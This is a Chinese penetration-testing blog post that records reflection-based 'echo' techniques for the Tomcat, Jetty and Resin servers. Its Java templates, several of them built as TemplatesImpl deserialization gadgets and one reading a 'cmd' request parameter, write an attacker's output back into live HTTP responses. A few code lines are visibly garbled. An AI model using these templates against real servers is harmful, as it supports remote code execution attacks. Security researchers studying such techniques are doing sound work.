java中间件回显方式总结

渗透技巧 1年前 (2023) admin
245 0 0

0x01 简介

本篇是对Tomcat、jetty、resin等中间件回显技术的一个记录,便于后续需要应用该技术时进行翻阅和回忆。

本质上就是寻找中间件运行时存储request、response这两个变量的位置,利用Java反射技术进行调用组装。

记录过程中,使用java-object-searcher工具进行辅助挖掘。感谢该作者无私开源。 https://github.com/c0ny1/java-object-searcher

使用该工具时,注意需要自行编译,然后将其加入到项目ClassPath即可,在用IDEA进行断点调试后,可以使用如下查询语句配合IDEA的Evaluate Expression进行查询,然后在你设置结果存放目录下进行查看即可。

//设置搜索类型包含ServletRequest,RequstGroup,Request...等关键字的对象
List<Keyword> keys = new ArrayList<>();
keys.add(new Keyword.Builder().setField_type("ServletRequest").build());
keys.add(new Keyword.Builder().setField_type("RequstGroup").build());
keys.add(new Keyword.Builder().setField_type("RequestInfo").build());
keys.add(new Keyword.Builder().setField_type("RequestGroupInfo").build());
keys.add(new Keyword.Builder().setField_type("Request").build());
//新建一个广度优先搜索Thread.currentThread()的搜索器
SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(),keys);
//打开调试模式
searcher.setIs_debug(true);
//挖掘深度为20
searcher.setMax_search_depth(20);
//设置报告保存位置
searcher.setReport_save_path("/tmp/searchTomcatRsp/");
searcher.searchObject();

0x01 Tomcat回显

1.AbstractProtocol$ConnectionHandler->request/response?

//结果1
TargetObject = {org.apache.tomcat.util.threads.TaskThread} 
  ---> group = {java.lang.ThreadGroup} 
   ---> threads = {class [Ljava.lang.Thread;} 
    ---> [14] = {java.lang.Thread} 
     ---> target = {org.apache.tomcat.util.net.NioEndpoint$Poller} 
      ---> this$0 = {org.apache.tomcat.util.net.NioEndpoint} 
        ---> handler = {org.apache.coyote.AbstractProtocol$ConnectionHandler} 
         ---> global = {org.apache.coyote.RequestGroupInfo}

通过Java反射调用能够构造如下的代码demo。

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.coyote.RequestGroupInfo;
import org.apache.coyote.RequestInfo;
import org.apache.tomcat.util.buf.ByteChunk;
import org.apache.tomcat.util.net.AbstractEndpoint;
import org.apache.tomcat.util.net.NioChannel;

import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.ArrayList;

public class TomcatEchoTemplate extends AbstractTranslet {

    public TomcatEchoTemplate() {
        try {
            Object obj = Thread.currentThread();
            Field field = obj.getClass().getSuperclass().getDeclaredField("group");
            field.setAccessible(true);
            obj = field.get(obj);

            field = obj.getClass().getDeclaredField("threads");
            field.setAccessible(true);
            obj = field.get(obj);

            Thread[] threads = (Thread[]) obj;
            for (Thread thread : threads) {
                if (thread.getName().contains("Poller")) {
                    try {
                        field = thread.getClass().getDeclaredField("target");
                        field.setAccessible(true);
                        obj = field.get(thread);


                        field = obj.getClass().getDeclaredField("this$0");
                        field.setAccessible(true);
                        obj = field.get(obj);
                        Method getHandler = obj.getClass().getDeclaredMethod("getHandler");
                        getHandler.setAccessible(true);
                        Object handler = getHandler.invoke(obj);
                        Method getGlobal = handler.getClass().getDeclaredMethod("getGlobal");
                        getGlobal.setAccessible(true);
                        Object requestGroupInfo = getGlobal.invoke(handler);


                        Field processors = requestGroupInfo.getClass().getDeclaredField("processors");
                        processors.setAccessible(true);
                        ArrayList<Object> requestInfoArrayList = (ArrayList<Object>) processors.get(requestGroupInfo);

                        for (Object requestInfo : requestInfoArrayList) {
                            try {
                                field = requestInfo.getClass().getDeclaredField("req");
                                field.setAccessible(true);
                                obj = field.get(requestInfo);
                                org.apache.coyote.Request request = (org.apache.coyote.Request) obj;
                                byte[] buf = "Echo1".getBytes();
                                ByteChunk bc = new ByteChunk();
                                bc.setBytes(buf, 0, buf.length);
                                request.getResponse().doWrite(bc);
                            }catch (Exception e){
                                e.printStackTrace();
                            }
                        }

                    } catch (Exception e) {
                        e.printStackTrace();
                    }
                }
            }

        }catch (Exception e){
            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }
}

2.ApplicationFilterChain->lastServicedRequest/lastServicedResponse?

java中间件回显方式总结

public class TomcatEchoTemplate1 extends AbstractTranslet {

    public static void TomcatEchoTemplate1() throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
        Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
        Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
        Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");
        Field modifiersField = Field.class.getDeclaredField("modifiers");
        modifiersField.setAccessible(true);
        modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL);
        modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL);
        modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL);
        WRAP_SAME_OBJECT_FIELD.setAccessible(true);
        lastServicedRequestField.setAccessible(true);
        lastServicedResponseField.setAccessible(true);

        ThreadLocal<ServletResponse> lastServicedResponse =
                (ThreadLocal<ServletResponse>) lastServicedResponseField.get(null);
        ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get(null);
        boolean WRAP_SAME_OBJECT = WRAP_SAME_OBJECT_FIELD.getBoolean(null);
        String cmd = lastServicedRequest != null
                ? lastServicedRequest.get().getParameter("cmd")
                : null;
        if (!WRAP_SAME_OBJECT || lastServicedResponse == null || lastServicedRequest == null) {
            lastServicedRequestField.set(nullnew ThreadLocal<>());
            lastServicedResponseField.set(nullnew ThreadLocal<>());
            WRAP_SAME_OBJECT_FIELD.setBoolean(nulltrue);
        } else if (cmd != null) {
            ServletResponse responseFacade = lastServicedResponse.get();
            responseFacade.getWriter();
            java.io.Writer w = responseFacade.getWriter();
            Field responseField = ResponseFacade.class.getDeclaredField("response");
            responseField.setAccessible(true);
            Response response = (Response) responseField.get(responseFacade);
            Field usingWriter = Response.class.getDeclaredField("usingWriter");
            usingWriter.setAccessible(true);
            usingWriter.set((Object) response, Boolean.FALSE);
            w.write("test");
            w.flush();
        }
    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
        
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }
}

3.JmxMBeanServer->…->RequestGroupInfo

        ---> mserver = {com.sun.jmx.mbeanserver.JmxMBeanServer} 
         ---> mbsInterceptor = {com.sun.jmx.interceptor.DefaultMBeanServerInterceptor} 
          ---> repository = {com.sun.jmx.mbeanserver.Repository} 
           ---> domainTb = {java.util.Map<java.lang.String, java.util.Map<java.lang.String, com.sun.jmx.mbeanserver.NamedObject>>} 
            ---> [Catalina] = {java.util.HashMap} 
              ---> [Catalina] = {com.sun.jmx.mbeanserver.NamedObject} 
               ---> object = {org.apache.tomcat.util.modeler.BaseModelMBean} 
                 ---> resource = {org.apache.coyote.RequestGroupInfo} 

java中间件回显方式总结

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.connector.Response;
import org.apache.catalina.connector.ResponseFacade;
import org.apache.catalina.core.ApplicationFilterChain;
import org.apache.coyote.Request;
import org.apache.tomcat.util.buf.ByteChunk;
import org.apache.tomcat.util.modeler.Registry;

import javax.management.MBeanServer;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
import java.util.ArrayList;
import java.util.HashMap;

public class TomcatEchoTemplate2 extends AbstractTranslet {

    public static void TomcatEchoTemplate2() throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
        try{
            MBeanServer mbeanServer = Registry.getRegistry((Object)null, (Object)null).getMBeanServer();
            Field field = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor");
            field.setAccessible(true);
            Object obj = field.get(mbeanServer);

            field = Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository");
            field.setAccessible(true);
            obj = field.get(obj);

            field = Class.forName("com.sun.jmx.mbeanserver.Repository").getDeclaredField("domainTb");
            field.setAccessible(true);
            HashMap obj2 = (HashMap)field.get(obj);
            HashMap CatalinaMap = (HashMap)obj2.get("Catalina");
            obj = CatalinaMap.get("name="http-nio-8080",type=GlobalRequestProcessor");


            field = Class.forName("com.sun.jmx.mbeanserver.NamedObject").getDeclaredField("object");
            field.setAccessible(true);
            obj = field.get(obj);

            field = Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource");
            field.setAccessible(true);
            obj = field.get(obj);

            field = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
            field.setAccessible(true);
            ArrayList obj3 = (ArrayList)field.get(obj);

            field = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
            field.setAccessible(true);


            for (int i = 0; i < obj3.size(); i++) {
                Request obj4 = (Request) field.get(obj3.get(i));
                byte[] buf = "test".getBytes();
                ByteChunk bc = new ByteChunk();
                bc.setBytes(buf, 0, buf.length);
                obj4.getResponse().doWrite(bc);
            }

        } catch (Exception e){
        }
    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }
}

0x02 Jetty回显

1. 获取HttpConnection,提取request

TargetObject = {java.lang.Thread} 
  ---> threadLocals = {java.lang.ThreadLocal$ThreadLocalMap} 
   ---> table = {class [Ljava.lang.ThreadLocal$ThreadLocalMap$Entry;} 
    ---> [31] = {java.lang.ThreadLocal$ThreadLocalMap$Entry} 
     ---> value = {org.eclipse.jetty.server.HttpConnection} 
      ---> _channel = {org.eclipse.jetty.server.HttpChannelOverHttp} 
       ---> _request = {org.eclipse.jetty.server.Request}

java中间件回显方式总结

import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;

public class JettyEchoTemplate {
    
    public JettyEchoTemplate() {
        Class clazz = Thread.currentThread().getClass();
        Field field = null;
        try {
            field = clazz.getDeclaredField("threadLocals");
            field.setAccessible(true);
            Object obj = field.get(Thread.currentThread());

            field = obj.getClass().getDeclaredField("table");
            field.setAccessible(true);
            obj = field.get(obj);

            Object[] object_array = (Object[]) obj;
            for (Object test : object_array){
                if (test == nullcontinue;
                Field value = test.getClass().getDeclaredField("value");
                value.setAccessible(true);
                Object ishttpConnection = value.get(test);
                if (ishttpConnection != null && ishttpConnection.getClass().getName().endsWith("HttpConnection")){
                    java.lang.reflect.Method method = ishttpConnection.getClass().getDeclaredMethod("getHttpChannel"null);
                    Object httpChannel = method.invoke(ishttpConnection, null);

//                method = httpChannel.getClass().getMethod("getRequest", null);
//                obj = method.invoke(httpChannel, null);
                    method = httpChannel.getClass().getMethod("getResponse"null);
                    obj = method.invoke(httpChannel, null);

                    method = obj.getClass().getMethod("getWriter"null);
                    java.io.PrintWriter printWriter = (java.io.PrintWriter)method.invoke(obj, null);
                    printWriter.println("test");
                }
            }
        } catch (NoSuchFieldException e) {
            throw new RuntimeException(e);
        } catch (InvocationTargetException e) {
            throw new RuntimeException(e);
        } catch (IllegalAccessException e) {
            throw new RuntimeException(e);
        } catch (NoSuchMethodException e) {
            throw new RuntimeException(e);
        }


    }
}

0x03 resin回显

TargetObject = {com.caucho.env.thread2.ResinThread2} 
  ---> threadLocals = {java.lang.ThreadLocal$ThreadLocalMap} 
   ---> table = {class [Ljava.lang.ThreadLocal$ThreadLocalMap$Entry;} 
    ---> [11] = {java.lang.ThreadLocal$ThreadLocalMap$Entry} 
     ---> value = {com.caucho.server.http.HttpRequest}
import java.io.IOException;
import java.io.Writer;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class ResinEchoTemplate {

    public ResinEchoTemplate() throws NoSuchFieldException, IllegalAccessException, NoSuchMethodException, InvocationTargetException, IOException {
        Thread thread = Thread.currentThread();
        Class<?> superclass = thread.getClass().getSuperclass();
        Field threadLocals = superclass.getDeclaredField("threadLocals");
        threadLocals.setAccessible(true);
        Object o = threadLocals.get(thread);

        Field table = o.getClass().getDeclaredField("table");
        table.setAccessible(true);
        Object omap = table.get(o);
        Object[] object_array = (Object[]) omap;
        for (Object singobj : object_array){
            if (singobj == nullcontinue;
            Field value = singobj.getClass().getDeclaredField("value");
            value.setAccessible(true);
            Object findRequest = value.get(singobj);
            if (findRequest.getClass().getName().endsWith("HttpRequest")){

                Method getRequestFacade = findRequest.getClass().getSuperclass().getDeclaredMethod("getResponseFacade");
                getRequestFacade.setAccessible(true);
                Object httpServletResponseImpl = getRequestFacade.invoke(findRequest);

                Method getWriterM = httpServletResponseImpl.getClass().getMethod("getWriter");
                Writer w = (Writer)getWriterM.invoke(httpServletResponseImpl);
                w.write("test");
                break;
            }
        }
    }
}

0x04 参考文章

https://gv7.me/articles/2020/semi-automatic-mining-request-implements-multiple-middleware-echo/

记录于2022年8月13日 in北京(23年修缮)


原文始发于微信公众号(JDArmy):java中间件回显方式总结

版权声明:admin 发表于 2023年6月27日 下午5:15。
转载请注明:java中间件回显方式总结 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...